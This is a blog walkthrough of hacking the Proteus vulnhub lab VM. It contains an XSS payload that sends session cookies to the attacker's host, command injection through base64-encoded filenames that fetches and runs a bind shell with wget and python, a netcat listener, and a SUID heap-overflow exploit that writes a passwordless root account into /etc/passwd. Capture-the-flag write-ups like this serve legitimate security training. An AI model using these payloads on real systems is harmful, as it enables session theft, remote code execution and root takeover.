[Pentest Series] Hacking Proteus VM

Hi!

I’m sorry I haven’t written any articles due to work. Now I’m not writing in indonesian language again, because I want other foreigners know what I write here and the only way is writing in english language (you don’t say??)

Now I’d like to hack proteus VM (https://www.vulnhub.com/entry/proteus-1,193/), the newest uploaded VM on vulnhub. And I hope I’m the first one who write this complete writeup on this vulnhub VM.

Btw, now I’m using scale (1 to 10) to determine the difficulty of the VM. Higher value means harder challenge and need higher skills to understand either the VM and this writeup.

Difficulty Level: 8 of 10
IP Target: 192.168.91.131
IP Attacker: 192.168.91.129

In this time, I have to tell you that this vm is freaking difficult if you don’t see the web source code first. You’d better start googling how to mount vmdk right now. After you mount vmdk or root the VM by loading another OS, then you can proceed. But this is just suggestion, if you don’t like that white-hat way, you can just skip this.

Now I’ll write the straight-forward PoC without any trials and errors. Because if I write those also, this article will be very long and surely wasting your time.

First step: NMAP

As usual, do the NMAP scan to see all the ports.

nmap -A -sV 192.168.91.131
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-22 08:31 WIB
Nmap scan report for 192.168.91.131
Host is up (0.00056s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 40:3e:c5:6f:dc:63:c5:af:43:51:28:5c:05:f5:98:c2 (RSA)
|_ 256 bb:9c:b0:3c:ff:48:8a:2b:37:d2:fe:2e:78:ce:8c:a9 (ECDSA)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Proteus | v 1.0
MAC Address: 00:0C:29:0A:24:67 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.91.131
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds

You open the web right now, and try to upload random binary program file (using C and compile it or etc..)

Second Step: Getting out from anonymous user

In this challenge, there’s a some phantomJS script that run as loggedin user. Opening the malware samples in /samples. We could try to steal its cookie and make it our own with XSS Injection. Don’t forget that every code you write and upload, the /samples page will do strings and objdump

So, you can create script to steal cookie after strings command called. Then you can transfer the string via normal request to your own server. If you’re still confused, please see my payload below

root@kali:~# cat oke.c 
#include <stdio.h>
int main(){
printf("<script>document.write('<img src=\"http://192.168.91.129/xss?='+document.cookie+'\">')</script>");
return 0;
}

Then you try to compile and use strings command to make sure your html script is not truncated.

And also dont forget that your box is running web server and log every incoming request
root@kali:~# gcc oke.c -o ./oke
root@kali:~# strings oke | grep script
<script>document.write('<img src="http://192.168.91.129/xss?='+document.cookie+'">')</script>

That is good, then go upload the program

See the broken image highlighted?

Third Step: Getting cookies and malwareadm user

After several minutes, all wild requests from target server (192.168.91.131) appear. As you can see on apache log (or your webserver log)

192.168.91.131 - - [22/Jun/2017:08:41:26 +0700] "GET /xss?=proteus_session=1498143301%7CZixlEc0RZi9YWkBdtxRyvBQZ2yeBlkubfFmaVLuRBTu4EABDLRIRdZjXEPQ9zWuSQJtAg1Esz1Avl5yBUEyeAyLjpEMBQ5kUd70QMD%2FEYRrDQ0tqegMteCPsLn7Y%2BuCn%7Cb38d028bbb1af850c704d863d5913e7b652d2cab HTTP/1.1" 404 498 "http://127.0.0.1/samples" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
192.168.91.131 - - [22/Jun/2017:08:42:27 +0700] "GET /xss?=proteus_session=1498143361%7CUk3%2BFnDp3s35nj6VPiAJa6JNTaakHg0h7qFJj9jANqc26jNjRRZLvc60x%2BbQ91sjbdMX%2FbNrHCHs5y1QiHkr3LJGS8d36jML%2BNKBSDNn%2BVa6ZkPINOwx0oDT%2Fa1rHsZ%2B%7C95f5dd1235063220f9fa90340ca925de4256918f HTTP/1.1" 404 498 "http://127.0.0.1/samples" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
192.168.91.131 - - [22/Jun/2017:08:43:27 +0700] "GET /xss?=proteus_session=1498143422%7COkdnlrycmHTzbprw1MFFvpnHXpl1ACwg15s8ch3ukTqzsId8aqD6L%2Be4og3rOwkSnttA1c4rufQ9LlFpTrftWX1aUKbi3IwsDlWMihVeiHAI1cYfrdzJBj1G7FxoftUR%7Cc0b13e0a9ae49b1938aeabe09aa20479f96dbcbb HTTP/1.1" 404 498 "http://127.0.0.1/samples" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"

You can take the cookies after /xss?=. Here I use the latest one, append it on the burp and send the request

GET /samples HTTP/1.1
Host: 192.168.91.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: <PLACE YOUR COOKIE HERE>
Connection: close
Cache-Control: max-age=0
Logged in as: malwareadm

And why the web immediately remove all submitted examples. Hmm interesting….

Fourth Step: Do the command injection

This web is vulnerable to command injection in the file extension. I use burp proxy to change the extension.

POST /submit HTTP/1.1
Host: 192.168.91.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.91.131/
Cookie: proteus_session=1498144206%7C1neyrv9WutQKXzdYcKlzDdm7pfajmAGozhEjd2i3dGOLMcxn%2FuSLektDOicM%2BpQymsxDzcowBMJy4%2BvYYcmqP%2FzgMNfjA53HnYWd4wfCg%2FahXiMlptuVo2WAaELGgcXv%7C9eb66407c955ed091c43ec811c7e9db69b59ba47
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------118368725518935459381209279477
Content-Length: 8861
-----------------------------118368725518935459381209279477
Content-Disposition: form-data; name="file"; filename="oke.exe;id;e"
Content-Type: application/octet-stream
.... file content

And the id command got executed.

In simple explanation, the web call shell command strings doesn’t validate the input.

But you cannot inject the command in the filename, just because web server change the filename to some random string. Proofing my fact, you can take the File string that look like base64 string

NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZQ==

If you decode that string it will be turned like this

root@kali:~# echo "NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZQ==" | base64 -d
594bd93aba378.exe;id;e

See? as I said earlier, there’s a process that renaming the file into another random string

Fifth Step: Do the command injection in delete

Now there’s a little another bad news, you can’t append / or .. or some essential character while doing the RCE on the file extension. In short way, you can do nothing right now.

But there’s a delete button on the screen. You can try to delete your own samples.

All the string maybe got executed, so the actual name file is not matched.

The file is not actually deleted due to your filename contains string shell command.

GET /delete/NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZQ== HTTP/1.1
Host: 192.168.91.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.91.131/samples
Cookie: proteus_session=1498144910%7CHHCSj7V5NVpyeVpFhgZeM0Ds1nBhbipatFL2j%2B5PtETSRwrHw%2BjgJ1KXnTKyyGiucn3DGnO3yCH7PQpUjMMCsQoLqCBuPq6vGEF1JuvYDKWgxI0EXHgXxs29wI8U70uV%7C6ea8c2de90a4fdb8a4f91cd76147a5d360c94aa8
Connection: close

In delete request, you can see base64 string as same as the string that appears on the sample page. The command in the server should be barely like this

rm -rf base64_decode($str).

In short way, that’s right. All we need to do is appending more command injection to that file deletion.

So I’ll try to listen netcat shell so the full payload will be like this

NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZTtuYyAtbHZwIDEwMDAwO3M=
Plaintext: 594bd93aba378.exe;id;e;nc -lvp 10000;s

Go delete one file again, change the URL to that payload. Website should be stucked if you design the payload right. And if you test the port with nc, it will be succeed

# nc -vvv 192.168.91.131 10000
192.168.91.131: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.91.131] 10000 (webmin) open
sent 0, rcvd 0

Then web will proceed and return response like this

<div class="alert alert-success" role="success">Successfully deleted /home/malwareadm/samples/594bd93aba378.exe;id;e;nc -lvp 10000;s</div>

Sixth Step: Getting shell access

Basically for getting shell access via web, I don’t like using bash or netcat to get the shell. Just because it’s unreliable and some webserver already configured to immediately close connection. So I’ll be using python pty instead (https://github.com/infodox/python-pty-shells/blob/master/tcp_pty_bind.py)

First, I make the server download my python file into /tmp/bind.py. I chose /tmp because guaranteed no permission error if I store there

Request:
GET /delete/NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZTt3Z2V0IC1PIC90bXAvYmluZC5weSBodHRwOi8vMTkyLjE2OC45MS4xMjk6ODAwMC9iaW5kLnB5 HTTP/1.1
Host: 192.168.91.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.91.131/samples
Cookie: proteus_session=1498145219%7C0iRfliClWubvK24N%2F1AR1GK2PGfzTnqgtlRk6QWKU5D0CsDY5Hf5u%2Fi0XFXhKt3%2Byf8Anoo3ubNZpqjr%2BHyfxS2epaee1jyn7199sHpiCiyCwHLbQ0dsBbZg%2FyN4LyXh%7Cc8086a1ae91b40697872bf131daab2ec20d34cc2
Connection: close
Response:
<div class="alert alert-success" role="success">Successfully deleted /home/malwareadm/samples/594bd93aba378.exe;id;e;wget -O /tmp/bind.py http://192.168.91.129:8000/bind.py</div>
My Terminal Response:
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.91.131 - - [22/Jun/2017 09:40:54] "GET /bind.py HTTP/1.1" 200 -

Then I run the bind file in /tmp/bind.py

GET /delete/NTk0YmQ5M2FiYTM3OC5leGU7aWQ7ZTtweXRob24gL3RtcC9iaW5kLnB5 HTTP/1.1
Host: 192.168.91.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.91.131/samples
Cookie: proteus_session=1498146562%7CIvKuMgqRNsW30ukZlNrRhODCGizSQpbBRF2CdZnv68%2BoUF1MYOXZhB%2BnS0sGrzQBmODiXj5LT5subobwXupHAOPc7KT47jI%2FvU8RdGgUZ1cBAsq%2FD4ekAtCNt4K3G%2Fzi%7C20758cdf6253503afcac29cdc83830d6fc35b658
Connection: close
Response:
<div class="alert alert-success" role="success">Successfully deleted /home/malwareadm/samples/594bd93aba378.exe;id;e;python /tmp/bind.py</div>

Then I just connect to the server

192.168.91.131: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.91.131] 31337 (?) open
www-data@Proteus:/home/malwareadm/sites/proteus_site/web/public$

Try to ls the web directory

$ ls -lah
ls -lah
total 20K
drwxr-xr-x 3 malwareadm malwareadm 4.0K May 2 14:04 .
drwxr-xr-x 9 malwareadm malwareadm 4.0K May 10 08:30 ..
-rwxr-xr-x 1 malwareadm malwareadm 347 May 10 08:06 .htaccess
drwxr-xr-x 6 malwareadm malwareadm 4.0K May 2 14:04 assets
-rwxr-xr-x 1 malwareadm malwareadm 327 May 4 19:32 index.php

As you can see, the root directory is malwareadm owner with 755, you cannot put any files here right now

Sixth Step: Doing privilege escalation

You can run linuxprivchecker and see which things that could lead you to another shell.

  1. DB and Login Password
  2. Private Key (encrypted with password)
  3. File SUID admin_login_logger

Actually, number (1) and (2) didn’t work for me. Let’s move on to number (3)

Seventh Step: Abusing SUID File

First, we have to check the owner of the file

-rwsr-xr-x 1 root root 7.7K May 10 09:18 admin_login_logger

Okay, if we can abuse this then we could reach the root privileges. In order to safe debugging, I highly recommend to copy that file into your own system.

So, you can start by running the program

root@kali# ./admin_login_logger 
Usage: ./admin_login_logger ADMIN LOGIN ATTEMPT (This will be done with phantomjs)

She needs second params, do the sanity test

# ./admin_login_logger "hahaha"
Writing datafile 0x813c1d0: '/var/log/proteus/log'

Oh okay, the program alwas write the second params on the file. How about do the BoF on this one?

# ./admin_login_logger `pattern.py 500`
Writing datafile 0x87751d0: 'Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0A '
*** Error in `./admin_login_logger': double free or corruption (!prev): 0x08775008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xf758337a]
/lib/i386-linux-gnu/libc.so.6(+0x6dfb7)[0xf7589fb7]
/lib/i386-linux-gnu/libc.so.6(+0x6e7f6)[0xf758a7f6]
./admin_login_logger[0x8048a14]

I tried to input pattern creator string 500 chars and that’s what I got. But you can focus on the bold string.

So, this program is vulnerable to heap overflow and I just intentionally rewrite the location of the file. The log location is moved to ‘Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0A ’

This is the benefit of using pattern creator, you can check the offset of that string

# pattern.py Ap2Ap3Ap4A
Pattern Ap2Ap3Ap4A first occurrence at position 456 in pattern.

The log location will be overwritten on 456th character input. Then what’s the content of that file?

# cat Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0A\        ^D
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0A 
# # pattern.py Aa0Aa1
Pattern Aa0Aa1 first occurrence at position 0 in pattern.

Okay, so the content of the log is the input until that 456th char. Then the location will be over

So the only main idea is appending SSH authorized_keys for ssh login or appending /etc/passwd and set the user without password. It’s your time to decide which one that going easier for you.

This is my script and this time I’ll let you think what my script is doing :D

# cat exploitpasswd.py 
loc = "/etc/passwd"
desc = "A"*435
exp = ""
exp = exp + "r00t::0:0:"+desc+":/root:/tmp"
print "Will be written on file "+loc
print "Offsets: "+str(len(exp)-456) #Must be 456 chars
exp = exp + "/etc/passwd"
print "Payload: "+exp

Eighth Step: Run payload and get root shell

Just run the exploit like this

$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./admin_login_logger "r00t::0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd"
./admin_login_logger "r00t::0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd"
Writing datafile 0x8ca41d0: '/etc/passwd'
*** Error in `./admin_login_logger': free(): invalid next size (normal): 0x08ca4008 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67f0a)[0xb7659f0a]

Okay, then do the su

$ su - r00t
su - r00t
Password:
su: Authentication failure

Still asking password?

Nineth Step: Got root shell from terminal

So, you wondering why the terminal keep asking password even we already threw the “x” in the seconds params?

Try to login via console instead

Yup I can

Okay, still don’t know why. But obviously you can login via VM console without password. Not like su that still require password. Okay then it’s time to grab the flag.

Flag!

Tenth Step: Thanks!

Thanks to author @Ivanvza (https://www.vulnhub.com/author/ivanvza,552/) for creating this superb VM!, Ross Mark (http://rossmarks.uk) for the discussion and spoiler (but the admin_login_logger solution that you showed me has a different version with this one).

And of course thanks to you for reading this article until the end :)

Best Regards,

Habibie Faried, CISSP
habibiefaried@gmail.com
@habibiefaried
OSC* Wanna Be

Like what you read? Give Habibie Faried a round of applause.

From a quick cheer to a standing ovation, clap to show how much you enjoyed this story.